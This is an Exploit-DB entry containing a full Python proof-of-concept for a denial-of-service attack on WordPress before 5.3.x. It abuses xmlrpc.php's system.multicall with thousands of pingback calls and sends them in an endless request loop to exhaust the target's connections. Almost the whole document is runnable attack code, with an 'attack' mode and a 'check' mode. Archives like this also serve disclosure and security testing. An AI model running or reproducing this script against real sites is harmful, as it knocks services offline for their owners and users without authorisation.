Exploit-DB #47800
Description: WordPress Core < 5.3.x - 'xmlrpc.php' Denial of Service
Type: dos
Platform: php
Date: 2019-12-17
Author: roddux

Exploit:
#!/usr/bin/env python
# WordPress <= 5.3.? Denial-of-Service PoC
# Abusing pingbacks+xmlrpc multicall to exhaust connections
# @roddux 2019 | Arcturus Security | labs.arcturus.net
# TODO:
# - Try and detect a pingback URL on target site
# - Optimise number of entries per request, check class-wp-xmlrpc-server.php
from urllib.parse import urlparse
import sys, uuid, urllib3, requests
urllib3.disable_warnings()

DEBUG = True 
def dprint(X):
	if DEBUG: print(X)

COUNT=0
def build_entry(pingback,target):
	global COUNT
	COUNT +=1
	entry  = "<value><struct><member><name>methodName</name><value>pingback.ping</value></member><member>"
	entry += f"<name>params</name><value><array><data><value>{pingback}/{COUNT}</value>"
	#entry += f"<name>params</name><value><array><data><value>{pingback}/{uuid.uuid4()}</value>"
	entry += f"<value>{target}/?p=1</value></data></array></value></member></struct></value>"
	#entry += f"<value>{target}/#e</value></data></array></value></member></struct></value>" # taxes DB more
	return entry

def build_request(pingback,target,entries):
	prefix   = "<methodCall><methodName>system.multicall</methodName><params><param><array>"
	suffix   = "</array></param></params></methodCall>"
	request  = prefix
	for _ in range(0,entries): request += build_entry(pingback,target)
	request += suffix
	return request

def usage_die():
	print(f"[!] Usage: {sys.argv[0]} <check/attack> <pingback url> <target url>")
	exit(1)
	
def get_args():
	if len(sys.argv) != 4: usage_die()
	action   = sys.argv[1]
	pingback = sys.argv[2]
	target   = sys.argv[3]
	if action not in ("check","attack"): usage_die()
	for URL in (pingback,target):
		res = urlparse(URL)
		if not all((res.scheme,res.netloc)): usage_die()
	return (action,pingback,target)

def main(action,pingback,target):
	print("[>] WordPress <= 5.3.? Denial-of-Service PoC")
	print("[>] @roddux 2019 | Arcturus Security | labs.arcturus.net")
	# he checc
	if action == "check":    entries = 2
	# he attacc
	elif action == "attack": entries = 2000
	# but most importantly
	print(f"[+] Running in {action} mode")
	# he pingbacc
	print(f"[+] Got pingback URL \"{pingback}\"")
	print(f"[+] Got target URL \"{target}\"")
	print(f"[+] Building {entries} pingback calls")
	# entries = 1000 # TESTING
	xmldata = build_request(pingback,target,entries)
	dprint("[+] Request:\n")
	dprint(xmldata+"\n")
	print(f"[+] Request size: {len(xmldata)} bytes")
	if action == "attack":
		print("[+] Starting attack loop, CTRL+C to stop...")
		rcount = 0
		try:
			while True:
					try:
						resp  = requests.post(f"{target}/xmlrpc.php", xmldata, verify=False, allow_redirects=False, timeout=.2)
						#dprint(resp.content.decode("UTF-8")[0:500]+"\n")
						if resp.status_code != 200:
							print(f"[!] Received odd status ({resp.status_code}) -- DoS successful?")
					except (requests.exceptions.Timeout, requests.exceptions.ConnectionError) as e:
						pass
					rcount += 1
					print(f"\r[+] Requests sent: {rcount}",end="")
		except KeyboardInterrupt:
			print("\n[>] Attack finished",end="\n\n")
			exit(0)
	elif action == "check":
		print("[+] Sending check request")
		try:
			resp = requests.post(f"{target}/xmlrpc.php", xmldata, verify=False, allow_redirects=False, timeout=10)
			if resp.status_code != 200:
				print(f"[!] Received odd status ({resp.status_code}) -- check target url")
			print("[+] Request sent")
			print("[+] Response headers:\n")
			print(resp.headers)
			print("[+] Response dump:")
			print(resp.content.decode("UTF-8"))
			print("[+] Here's the part where you figure out if it's vulnerable, because I CBA to code it")
		except (requests.exceptions.Timeout, requests.exceptions.ConnectionError) as e:
			print("[!] Connection error")
			exit(1)
		print("[>] Check finished")

if __name__ == "__main__":
	main(*get_args())